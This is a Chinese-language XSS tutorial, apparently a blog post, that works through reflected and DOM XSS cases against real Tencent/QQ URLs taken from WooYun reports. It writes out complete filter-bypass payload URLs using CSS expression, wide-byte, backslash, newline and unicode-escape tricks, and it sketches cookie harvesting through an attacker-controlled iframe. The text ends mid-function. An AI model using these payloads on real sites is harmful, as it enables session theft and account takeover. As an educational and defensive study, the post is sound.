之前积累了XSS 有一段时间，因为目前开始了一件有趣的工程，需要整合非常多的知识，其中Web 安全这一块出现最多的，应该就是XSS，SQL注入了，再加上乌云泡着看别人的文章，看各家大网站的漏洞，决定把这一块知识聚拢一下，写成一篇文章。想了想，从简单到难，那就是一条打怪升级之路，所以就从最简单的反射型漏洞开始，一点一点提高，直到把大部分XSS 的形式找出来。

level 1 无过滤规则的XSS

最简单的跨站，也就是我们说的反射型跨站，也叫作非持久型，参数型跨站脚本。这种类型的脚本出现的面非常的广，互联网上这样的漏洞非常多，一般出没在各路小站点，大站点很少出现。乌云的漏洞列表里，海量的XSS 漏洞都来自互联网上访问量不高的小站，被辛苦挖洞的XSSer 们发掘出来的。

站在新手村我们的，需要一个最简单的野怪刷一下，这个野怪上下无任何装备，没有一点防御。也就是说，这个XSS 漏洞对于用户的输入，不做任何过滤行为。

一般来说，XSS 存在的地方，一定是需要有输入和输出概念的，一般的过滤规则，也是出现在输入阶段或者是输出阶段，如果两个都没有过滤，那么很轻松的就造成了漏洞。通常来说，这种洞非常好刷，比较自动化的方式是，建立一个爬虫系统，预设一些URL，爬虫爬取网页，在网页源码中寻找用户可以输入的地方，然后在可以输入的地方，将构造好的XSS 代码以输入形式，构造成请求，然后观察响应，是否对我们的输入做了过滤策略。如果是原本的返回，那么我们就说可能存在有xss漏洞。

同时，有另一种更为简单的漏洞，是直接在URL 中，如果有直接赋值参数的行为，也相当于一个可输入的位置，我们直接在URL 中将XSS 代码构造在URL 中，观察返回是否做了过滤处理，如果没有，那么就是一个最简单的野怪诞生。

在乌云中，有不少这样的漏洞，小站很多，大站很少，因为大站一般都有完备的过滤规则，很难在这些小问题上有任何闪失，再加上如今浏览器基本上都有安全策略对此类型进行防御，所以这种威力相对较小。

之前在HTTP 的文章里，有详细讲过 URL的格式，其基本格式如此：

每个结构对应的含义如下：

通常的注入发生在query 这一块，而一般一个安全的行为，就是对query 中的字符进行过滤，以防止xss。以百度的URL 为例，一个通常的URL 查询之后的造型是下面这样的：

http://www.baidu.com/s?wd=%E6%A0%87%E7%82%B9%E7%AC%A6&rsv_spt=1&issp=1&rsv_bp=0&ie=utf-8&tn=baiduhome_pg&inputT=2969

问号之后有一大堆参数，&用来分割参数，他们对应的是什么意思不是本文关注的重点，可以参见这一篇文章百度搜索URL 参数解析。

其中wd 就是我们所说的搜索关键词，也就是我们的输入，如果我们将此字符改成

<script>alert(/xss/)</script>

在输出时我们看到，URL 变成了如下，可疑的部分被转义了。

https://www.baidu.com/s?wd=%22%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&rsv_spt=1&rsv_iqid=0xb3f5d3380002c15f&issp=1&f=3&rsv_bp=1&rsv_idx=2&ie=utf-8&tn=baiduhome_pg&rsv_enter=1&oq=%26lt%3Bscript%26gt%3Balert(%26%2339%3Bxss%26%2339%3B)%26lt%3B%2Fscript%26gt%3B&rsv_t=455e8xS9GVGwfM%2BTxjkNH6uUohEOPZHQFWlqocmOh9s1caJr5IHzVrPJJKJ1OwdTglc3&inputT=5478&rsv_sug3=27&rsv_sug1=21&rsv_sug7=100&rsv_pq=cce2beda0002a800&rsv_sug2=0&rsv_sug4=6278

在这里举一个大站腾讯的简单的xss，是乌云上某马甲提交的，作为一个最简单的XSS 挖给大家学习。网站的网址是这样的：
http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=1&func=haoping&_=1353475261886

如果我们在这个URL 里尝试修改参数，将score 参数改成

<img src=1>

而输出的源码并没有发生变化：

在网易中看到的结果就变成了这样：

这很显然，就是一个xss漏洞了，将经典的xss 代码插入进去即可：

score=<img src=1 onerror=alert(1);>

效果如下：

这就是一个最无防御的XSS 存在，很明显的，它简单，暴力，当然也是极容易防御的，所以在一个较高级的攻防对抗，或者是大站漏洞中，基本上不会出现这样的漏洞（然而腾讯还是有这样的问题~~）。

level 2 包装进script

上一等级里，我们的xss 构造格式是在img 中,然后直接通过URL 参数提交，通常反射型的XSS 比较广泛，但是伤害一般来说没有太高，而且比较容易防范。除了img 元素，还有诸如input, iframe，a href, 主要利用的是href 或者 src 可以使用javascript, 或者是使用onerror，表示当前图片无法显示时候可以调用的脚本。更多的内容，接下来详析。

接下来，我们针对的还是反射型的XSS，仍然是在参数中，作为目标文件中的参数，通过URL 传递给它，但是没有对该参数进行详细的过滤，造成了有机可趁，继续放出腾讯家以前的一个例子，也是乌云上的，网址如下：

http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa

此处的callback 参数，如果没有过滤的话，得到的网页源码里，我们就会看出来，如下：

拿出这一块的上下文代码，大约构造是这样的：

<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaa(_ret);}catch(err){aaaaaa(_ret);}</script>

aaaaaa如果我们替换成

<script>alert(/xss/)</script>

当然，我们注意到，上边的script 还没有闭合，为了让代码提前跳出前一个script ，我们应该在前边吧sciprt 闭合，这样：

</script><script>alert(/xss/)</script>

这样，很明显，就会继续发起了XSS 弹窗。但是，如果我们不允许输入破折号呢，上边所说的就没有办法了，但是，这并不代表毫无办法，还有一些具有威胁的函数，比如eval, String.fromCharCode, execute，这些都会造成XSS，也要过滤。如下，我们使用eval() 来构造攻击：

http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void

callback=eval('alert(1)');void 仍然令我们的源代码语法正确，能够正确执行。

但是像这样构造出来的情况，其实非常的少见，因为正常传第一个参数进去，开发者都会将 " 过滤掉，这样构造就失败了。

我们知道，XSSer 和 防御者之间的斗争从来就是道高一尺，魔高一丈的过程，防御者绞尽脑汁去过滤所有可能出现的情况，去处理所有可能的奇葩诡异编码情况，而XSSer 又会绞尽脑汁的去挖掘茫茫网络中漏洞，努力用各种奇技淫巧构造出五花八门的形态，看起来诡异无比，然而偏偏又能让javascript 语法正确，正常运行。

然而xss 却又一直是热门，但并不是很受重视的攻击手法，原因大概是这样的：

1. 挖洞太麻烦，很耗时间，看上边两个漏洞，其中一个甚至是在某个获取QQ 应用宝上某个app 数据的URL 里发现的，而这种页面甚至很难被发现，所以他的伤害比较低，找到它却又要花费大量时间，而且还有很多构造方法不能成功，需要尝试各种模式。
2. 这种伤害不是很大的反射型攻击，尚且还有机会通过爬虫自动化的挖掘到漏洞存在的可能，有很多复杂的存储型和DOM 型漏洞，更难通过爬虫挖到。
3. 需要有良好的HTML，JS 功底，但是呢，如果功底好的话，直接就跑去做前端了，前端业务现在那么缺高级工程师。更多的，还需要有PHP，JSP 功底。
4. 而Website 设置http-only,crossdomain.xml 时候，很多模式化的xss就失去力量了。
5. 然而为什么热门呢，因为HTTP 世界的混乱，之前在写Web之困读书笔记的时候，作者也是强力吐槽了这个混乱的HTTP 世界，所以造成了XSS 几乎无处不在，而如果一个利用好的XSS，或者CSRF漏洞，会在某些情况下，造成难以弥补的伤害。
6. 本质上将，SQL注入和XSS 都是由于代码上相似的漏洞造成的，而SQL 注入的危害要比XSS 看起来危险很多，很多人在挖SQL 注入漏洞的时候，顺手就挖几个XSS，也是很正常的。
7. XSS 虽然看起来比较温柔，但是配上社工手段，可造成的影响仍然是不可小觑的，所以XSS 会火下去。

level 3 HTML 中的野怪

当然XSS 的漏洞不仅仅只出现在script 代码块中，还可以包含在丰富的HTML 的标签属性中。比如img,input 等一系列标签，基本格式是 < HTML标签 onXXXX="在这里" > 或者是放在伪URL 里，比如< a href = "javascript:在这里"> xxxx </a>。

一般这样地方的参数，很少是直接通过输入就直接放进去的，不过有时候常常是接受了用户的输入，最后输出的时候，会出现在这些位置，但如果对用户的输入没有做详尽的处理和过滤的话，就会出现明显的XSS 漏洞。来个栗子：

比如某网站是这样的：

http://example.com/search.php?word=helloworld

对应在HTML 代码中，他出现在了这样的区域里：

<input type="text" value="helloworld" />

开发者没有对helloworld进行过滤的话，我们直接构造

word=helloworld" onclick="alert(/xss/)

然后在对引号括号等，使用URL 编码，直接变成如下结构：

helloworld%22+onclick%3d%22alert(%2fxss%2f)

也就完成了xss过程，不过这种漏洞现在已经非常稀少，因为它太容易过滤了，只需要将双引号过滤即可，一般做法就是将双引号过滤成HTML 实体编码，也就是&#quot; 对于HTML 解析器，它能够识别在文本节点和参数值里边的实体编码，并且在内存中创建文档树的表现形式时，透明的对这些编码进行解码。所以，在创建DOM 树结构的时候，&quot(有个分号，但是markdown会直接转了); 还没有被解码成引号，而且创建文档树的内容的时，才会考虑解码，而这时，其XSS 功效已经不能发挥作用了。

于是，对于有过滤规则的情况下，该标签将变成：

<input type="text" value="helloworld" onclick="alert(1)" />

但是，仅仅是这样的过滤，显然是不够用的，还有其他的注入点可以进，继续在乌云上来看腾讯的例子，考虑这样一个网址：
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=FFFFFF&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx

我们查看输出的HTML 源码，发现bg 那里对应的是background-color,我们尝试那里用不同的字符尝试，观察其过滤情况。在这里，我让bg = "<>() 就是希望观察一下它的过滤情况，基本上所有的字符都被过滤了，但是只有\ 没有被过滤

如何只用 \ 构造利用语句呢，我们可以想到CSS 中的字符编码，CSS 提供了一套转义处理策略，一个反斜杠后边跟1~6位十六进制数字。然后利用CSS 的expression 来调用JavaScript 代码。也就是试图构造出

expression(eval(alert(/xss/))

这样的代码，完整来说，就是这样的：

<body style="... background-color:;width:expression(eval(alert(/xss/)))">

用分号来结束backgroud-color,然后 w: 后边跟上expression,如果expression 要被过滤，那就加上转义，把expression 随意变下形就可以，于是，在下边这样的代码构造下，漏洞又被利用了。

http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx

不过很遗憾的，expression 当年是微软搞出来的技术，但是一直没被其他浏览器接受，同时，甚至微软自己如今也抛弃了这种特性，它出现在IE6，IE7，和IE8的一些早期版本，因为微软官方也认为该属性不具有通用性，而且它处理的事务，如今已经能够在CSS 中正常的完成，如min-width,max-width， 这些都已经在IE8之后得到很好的支持，所以expression 也只能在这两个古老版本上起效。

那么，继续考虑一些别的情况，考虑下面这个网站：
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa

其输出的HTML 代码中，我们可以找到它：

对于放在javascript: 中的伪URL，其效果和放在script 代码块中没有区别。在这里 aaaaaa我们可以考虑对其做点什么，很自然的，我们想到用单引号闭合，然后后边加上alert(/xss/) 这样的构造，看起来比较绕，其构造步骤是这样的：

location.href='...&searchvalue=aaaaaa'
location.href='...&searchvalue=aaaa'+alert(1)+''
location.href='...&searchvalue=aaaa'+alert(1)+''

如果单引号，被过滤，就要改成HTML 编码，这样，就能在源代码中javascript 伪URL那里添加了alert(1) 这样的XSS。这步骤改造完毕之后，我们将可能被过滤的&-> %26,#->%23 转换成URL 编码，构造成这样的URL：
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27;

至此，又完成了一次XSS 注入，但到此处，是否有一个疑问呢，还是关于编码解析的问题。在上一个栗子中，我们说，将双引号，改成&quot ; 这样的形式，就不会出现异常的解析了，但是这里，我们主动的将单引号改成了&#27 ; 这样的形式，反而成功的完成了XSS 呢。

其实，这是一个解析顺序的原因，正常的解析顺序是这样的，先对URL解码，那些用URL 编码的字符都变成解码后的参数传出去，然后是HTML 解析，HTML 解析，此时 ，是先构建DOM文档结构，然后才会对每一个文本节点，属性值内容进行解析，这时候，HTML 实体编码的部分，才会还原回来，这个时候已经不会对DOM 结构造成影响了。然后是JS 解析，此时才会执行JS 代码的内容。而此时，HTML 已经完成了解码。

对应上边的栗子，在JS 解析之前，HTML 已经对那些编码完成了解码，对于JS 来说，一切都写的清清楚楚的了。

回到那个栗子，我们利用的代码，原样是这样的：

<li><input type="text" id="pagenum"  class="inputstyle0814"  onkeydown="if ((event.keyCode==13) && (this.value!='')) location.href='http://stock.finance.qq.com/report/search.php?offset='+this.value+'&searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa'"/></li>

当我们构造完成利用代码之后，对于页面上来说，就是要点击按钮，也就是onkeydown。 不仅要将URL 传出去，还需要用户点击按钮，这样造成的威胁小很多，不如img 标签里的onerror ，onload那样可以自动触发。

最后我们再考虑一下如何防守吧，上上栗子的问题，在于漏掉了斜杠的过滤，那么\ 该过滤还是要过滤的。对于上边这个栗子，可以考虑二次过滤，也就是将&都过滤为 &amp ;，这样不仅过滤了无编码的单引号等格式，又可以过滤掉利用实体编码想要逃过的实体编码格式。而如果只是用正则去片段&#xNN..等形式，实际上是不一定搞定所有的HTML 编码形式的。

level 4 离奇的宽字节

搞过SQL 注入的，应该是比较了解宽字节注入的，由于某些SQL 注入的核心是提前出线单引号来闭合前边的输入，然后在后边可以插入别的语句，联合查询等等。所以比较一般的过滤方式是将单引号转义，加一个斜杠。但此时忽略了编码的神奇。如果开发者在设置编码支持的时候，如果选择了GBK，gb18030,utf-8 等方式，实际上是支持十六位编码的。

最常见的方式，也就是在url里，在引号%27 或者是 %22 之前，加入%df, 由于0xdf 对应的大于128，所以，解析器会认为他和后边的组成了16位的编码，就会吃掉后边的字符，而后边跟着的字符，又恰恰是我们给引号添加的斜杠，%5c,于是%df 就会吃掉%5c 合并成一个字，引号重新暴露。

这种方法在XSS 不常见，但是如果某些XSS 在写过滤规则的时候，如果处理不当，还是有可能出现宽字节注入的情况，考虑如下url:

http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%22;alert(1);//aaaaaa

此处双引号被过滤了，变成了&quot ;，如下：

如果我们尝试一下采用宽字节注入，考虑构造成如图所示：
zh_CN&t=%c0%22;alert(1);

令人惊奇的是，这次注入成功了，观察代码如图：

当然，此处所遇到的问题，应该并不是前边提到的传统的形式，%c0 吃掉%5c ,因为很明显，此处没有使用斜杠转义，而是转成了&quot ; 只能把原因归咎于正则表达式处理的问题。

我们看到，即使当以注意到了问题所在的时候，仍然可能犯错误，而且是以意想不到的方式犯错，黑客渗透的方式，可能会以所有意想不到的形式进行。

我们将防御性代码比做成安全的城墙，那么正则过滤引擎，应该是这座安全长城的第一站，而在《Web 之困》 一书中，作者也说过，要想试图过滤掉所有的危险的编码，这几乎是不可能完成的任务。但作为开发者，比黑客再多想一些，这是应该的。

在XSS 界，拥有各种各样的形式去变形构造，在owasp 里，这篇XSS Filter Evasion Cheat Sheet 详细介绍了各种变形，以期能穷尽目前已知的各种变形手段，下次，我会对其中的变性手段，进行总结。但是，你想要过滤这所有的变形手段，几乎是不可能的，即使你过滤了他们，而引擎本身出现的错误，又会创造新的漏洞，上述例子就是这样的。

被忽略的反斜线

通常，过滤XSS 就是要考虑过滤各种特殊的控制字符，比如尖括号，引号等，而如果过滤一旦漏过了某些符号，那就有可能通过各种转义，构造出一个绕过的XSS，下面就是一个例子。

看这样一个网站：
http://mail.qq.com/cgi-bin/login?vt=passport&ss=aaa&from=bbb&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

杂乱无章，我们对照网页的源码，逐个尝试看能够注入，首先是先定位这些变量对应的位置，主要关注的还是前三个，vt=pass, ss=aaa, form=bbb, 构造完成之后我们在源码中寻找他们的位置如图：

定位到位置之后，我们把这一堆能使用的符号都拉进去尝试，包括引号，破折号，反斜杠等，这里如果能直接利用，最好是有双引号，它可以直接闭合前边的语法，从而构造新的语法，但是，很遗憾双引号这种头号仇恨还是第一时间被过滤了，但是漏过了反斜杠。

我们详细分析一下这一部分，考虑一下，看怎么注入：

<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"&regalias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dindex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"&param="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>

核心部分，就是下边那小部分：

<script>getTop().location.href="......"+"&ss=aaa"+"&from=bbb"+"&param="+".....";</script>

如果我们使用了反斜杠，那么双引号就被转义了，语法就变化了：

<script>getTop().location.href="......"+ "&ss=aaa\"+" &from=bbb "+" &param= "+" .....";</script>

有一点点机会突破，但是后边的语法就太奇怪了，有语法错误了。肿么办，我们在试试正斜杠，发现也没有被屏蔽，perfect，我们用正斜杠来讲后边直接注释掉，让语法正常。

location.href="........."+"&ss=aaaa\"+"&from=1//"+"&param=";

但是还有一个问题，& 在这里，被考虑成了一个与操作，优先级是高于 =号的，变成了("字符串"&from)=1 的语法，这仍然是错误的。但是，如果我们再测试一下，= 号会不会被屏蔽呢，=号也可以用，那么我们改变一下语法，添加一个等号，变成 ==：

location.href="........."+"&ss=aaaa\"+"&from==1//"+"&param=";

于是语法编程了("string")&(from==1)的样式，from 变成了一个bool操作，但现在又面临了新的问题，如果你在URL 里本来该是一个定义的操作，却变成了一个判断的操作，from 就变成了未定义的状态了，语法仍然会报错，这我们就要进一步理解JavaScript的语法了，如果我们把from 当做一个变量或者是方法，如果是方法，无论在何处定义，都会被拉到最简便，所以我们在from 的部分再添加一个步骤：

location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"&param=";

这样，from 就不会被当成是未定义的了，但问题又来了，我们现在添加了许多东西，而添加的这些东西，包含了许多特殊字符，会不会通过呢，经过实际测试，还真是悲剧了，空格符被转义了：

空格符被转义了怎么办呢，我们找到新的替换品，那就是/**/, 这是一个注释符，之前我们也测试过了，斜杠不会被过滤，那么这个注释符，成功的顶替了空格，形成了正常的语法。

location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"&param=";

从语法上看，这样就OK 了，我们的攻击代码可以放function 的前边，直接用alert(/xss/)；测试，最终代码：
http://mail.qq.com/cgi-bin/login?vt=passport&ss=&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

结果毫无疑问弹了窗。

那么回到源头去搜索整个注入的过程，我们发现，注入的过程，颇有几分SQL 的风采，都是利用各种语法上的技巧，在我们的SQL注入中，一些常见的技巧，比如基于重言式，这和XSS 的试图闭合语法相似，比如联合查询法，试图借助未转义的字符，来完成注入。

这个漏洞的挖掘过程，就是从一个狭小的入口进入，借助了字符过滤不完整的漏洞，挖开了深层的内容。所以，在实际编程开发中，对特殊字符的控制，是需要慎之又慎的，一旦有一个小小的漏洞，就会被随时攻破。

换行符的偷袭

上一次是反斜杠发挥的妙用，它默默地转义了一个双引号，还有一些其他有意思的符号，比如换行符也能发挥妙用，这次是来自换行符的一发偷袭。

看这样一个地址：
http://datalib.games.qq.com/cgi-bin/search?libid=178&FilterAttrAND=3602&FilterValueAND=aaaaaaaaaa

逐个测试注入点，我们发现最后的FilterValueAND 的输入点在源码中找到了输出点：

它出现在JS 语句里，一上来就感觉有戏。接下来尝试写入特殊字符，测试过滤情况。正常的情况下，尖括号，双引号：

但是令人奇怪的是，最后一个输出点竟然是在一大段注释里，这应该是开发的一个失误：

看到注释想到了什么呢？如果这里插进来一个换行符，那么应该被注释的部分就不是注释了。那后边再跟注入语句，就能够执行了。然后我们在用一个双斜杠来注释后边的无用部分。利用代码如下：
http://datalib.games.qq.com/cgi-bin/search?libid=178&FilterAttrAND=3602&FilterValueAND=%0aalert(/xss/);//

直接就弹窗了。

这一次利用的太过简单，看起来应该是开发的一时疏忽，将一大段内容注释了，而注释里原本好包含了输出，那就有可能出问题了。

那么下面再看一个更综合的例子，地址如下：
http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaaaaaaaaaa

看一下源码，先测试双引号，妥妥的被过滤，HTML标签里的东西没希望了。往后边看，第二个又出现在了注释里，看来开发还是很希望遗留这些漏洞的，我们直接用一个换行符。

但问题是注释那里被注释掉了，但是接下来的var searchOrder="....";这一句就麻烦了。

//document.getElementById("order_select").value="aaa
alert(/xss/); //";

var searchOrder="aaa
alert(1);//";

第一个是OK 了，第二个语法错误了。那么又想到什么了呢，在JavaScript 语法里，一个反斜杠可以让语法让换行的内容接起来，形成多行写法。

var sarchOrder="aaa\
alert(/xss/);//";

于是，语法上又恢复了正常，而这一部分内容我们不用管它，只要上一个有效就可以了。但问题是，反斜杠被过滤了，过滤的方法是被转义了。

两个反斜杠就没法让JavaScript成立了，怎么办呢？记得之前采用的宽字符的战术，看一眼网页的编码格式,gb2312，说明宽字节是有效的。那我们就用128以上的字符，去吃掉一个反斜杠：

http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaa%c0%5c%0aalert(1);//

从结果上看，%c0吃掉了一个%5c，留下了一个反斜杠。

语法完全ok, 于是弹窗。

至此，这种反射型的XSS 基本上就这么些内容了。想要挖XSS 的洞，非常的耗费功夫，因为即使是没有安全编码尝试的开发者，也基本知道一些必须过滤的字符一定要过滤，另外在PHP 这些语言中，也有专门的函数诸如魔术引号来过滤处理。

不过学习这种XSS 类型，将扩宽思路，不仅是从注入的角度来看，能想到各种有意思的注入和XSS 利用，更重要的是从安全编码的角度看待开发，如何保证代码的安全实际上是比效率更加重要的点。

DOM XSS

之前提到的漏洞内容，都是反射型XSS，攻击性一般来说比较低，即用即消，难以持久，而且一般来说，如果cookie 设置成httponly，你就不能通过document.cookie 的方式获取cookie了，在做其他一些事情，反射型xss就显得乏力了。不过，如果没有设置成httponly，还是有方法获取到海量的用户cookie,简单的利用方法就是在一个自己可控的站点，控制一个iframe，然后链接到主站可xss利用的站点，在URL 里写好脚本，做好接受，就能源源不断的接受来自用户的信息了。

比如说新浪微博或者是腾讯微博存在XSS反射漏洞，我们在自己的站点中写好利用的iframe，然后在自己的微博上写一个吸引人的标题，然后附一个经过短链接转义过得链接。如果别人点进去，就会自动触发我们的XSS 脚本。以前Twitter 上也有这样的漏洞，短时间让黑客的粉丝暴涨百万，实际上只是自动执行了关注黑客的脚本。

下面我们进入下一个XSS类型，DOM XSS。所谓DOM 操作，就是利用JavaScript 的DOM 操作来进行利用。关于DOM树，DOM操作的基础，可以参见wikipedia ，可以查看更多信息。

DOM 常见的方法有：

• 获取节点
  • getElementsById()
  • getElementsByTagName()
  • getElementsByClassName()
• 新增结点
  • document.createElement() 创建节点对象，参数是字符串也就是html标签
  • createTextNode 创建文本节点，配合上一个使用
  • appendChild(element) 把新的结点添加到指定节点下，参数是一个节点对象
  • insertChild() 在指定结点钱插入新的节点
• 修改节点
  • replaceChild() 节点交换
  • setAttribute() 设置属性
• 删除节点
  • removeChild(element) 删除节点，要先获得父节点然后再删除子节点
• 一些属性
  • innerHTML 节点内容，可以获取或者设置
  • parentNode 当前节点的父节点
  • childNode 子节点
  • attributes 节点属性
  • style 修改样式

下面我们回到XSS 上，如何利用一个显式的DOM XSS。

这样一个URL：
http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=aaaaaaa&attr=133&stype=2&tname=star_second.shtml

我们在代码中寻找其输出：

发现了很多个，将其代码格式化之后如下，我们会实际上，被执行的只有一个：

<strong id="titleshow">按职业1检索：aaaaaaa </strong></div>

<script>
if("aaaaaaa"=="")

document.getElementById("titleshow").innerHTML="按地区检索：全部明星";

if("职业1"=="职业1")

document.getElementById("titleshow").innerHTML="按职业检索：aaaaaaa";

if("职业1"=="职业2")

document.getElementById("titleshow").innerHTML="按职业检索：aaaaaaa";

if("职业1"=="职业3")

document.getElementById("titleshow").innerHTML="按职业检索：aaaaaaa";
</script>

我们先测试几个特殊字符，发现尖括号被过滤了，但是\ 没有被过滤，而这里又是JS 代码，我们可以十三月Unicode 编码来代替尖括号，仍然可以实现代码利用。\u003c \003e 分别代表尖括号，\0020 代表空格。 而这里其实有一个比较关键的知识点，为什么有时候转义可以，有时候转义不行，编码解码的顺序到底是怎样的，具体可以看下一条文章。

所以，我们构造的完整URL 如下：

http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e&attr=133&stype=2&tname=star_second.shtml

但是，左右尖括号的Unicode表示已经被过滤：

但仔细观察一下，我们发现，\u0020 都没有被转义，说明开发者的转义是非常局限的，指哪打哪，很有可能有别的方法可以利用。而Unicode 编码也有多种书写方式，比如 \x3c \x3e 就可以代表左右尖括号。那么我们值得一试：

http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e&attr=133&stype=2&tname=star_second.shtml

令人惊奇的是竟然没有转义：

这样，弹窗就是必然的了。

这是一次简单的DOM XSS 过程，后边会有更加复杂的XSS等待挖掘。

DOM XSS

让我们继续寻找DOM XSS，在上一节里，在地址栏里输入的内容，很容易出现在了源代码里，然后我们发现源代码里是一个DOM 操作，通过js 的Unicode 转义，我们将利用代码植入到了innerHTML 指向的内容中，同时绕过了过滤。

关于编码的顺序问题，可以参考我之前总结的一篇文章，比较清晰。

那么，如果我们在源代码里，定位不到我们在URL 里的参数呢，其实这并没有太多不同。只是因为网页直接通过脚本，通过DOM 操作，修改了或者添加了某些标签，源码中看不到。但只需要进入调试工具里，就能找到了。

这里拉来一个老漏洞，现已修复：

http://qt.qq.com/video/play_video.htm?sid=aaaaaa

这样一个地址，我们跑去源代码里，是不会直接找到输出的，其实这也是更为常见的情况：

此时我们应该去到调试工具里找，在审查元素里，我们看到了输出的位置：

按照以往的方法，我们仍然是使用常识构造的方式，去看那些写法是被过滤的，然后尝试去构造攻击模式。另一种方法，则是去resources 中，去查看脚本，是那个脚本执行了什么操作，让变量进入了标签，了解清楚了之后，可以对症下药的创造攻击向量。

我们直接对sid 这个参数在resource 中搜索，会找到响应的处理函数。在这里，是一个叫getUrlPara 的函数：

进一步，定位到该函数的定义，通过分析该函数，我们能了解脚本在获得该参数后的操作，在该函数里，我们发现，该函数对 location.href 中的尖括号和引号已经进行了过滤处理，但实际上，这段代码实际上是不太正确。

因为在进行处理之前，拿到的href 已经经过了URL 编码，该函数不会对任何符号进行处理。即使是浏览器不做编码处理，如果我们预先对它进行编码处理，也会跳过函数中的过滤。然后让我们再回到函数调用之后的上下文。

var sid=getUrlPara("sid");

if(!sid || sid==""){

    document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">抱歉，视频不存在！</div>';

}else{

    var flash_ver=GetSwfVer();

    if(flash_ver == -1){

        document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉，您还没有安装flash插件<br/>请<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下载</a>10.0以上的flash播放器<br/>安装flash后，请<a href="javascript:location.reload();">点此刷新</a></div>';

    }else if(flash_ver.split('.')[0]<10){

        document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉，您的flash版本过低<br/>请<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下载</a>10.0以上的flash播放器<br/>安装flash后，请<a href="javascript:location.reload();">点此刷新</a></div>';

    }else{

        sid=decodeURIComponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');

        if(!is_valid_sid(sid)){

            document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">无法打开视频文件，视频地址不合法！</div>';

        }else{

            insertFlash("dv_video","f",sid,"100%","100%");
        }
    }
}

这里，通过decodeURLComponent 将编码后的参数，又解码成了原符号，而后边调用的insertFlash 操作，未经过滤的将sid 写进了页面：

function insertFlash(elm, eleid, url, w, h) {

    if (!document.getElementById(elm)) return;

    var str = '';

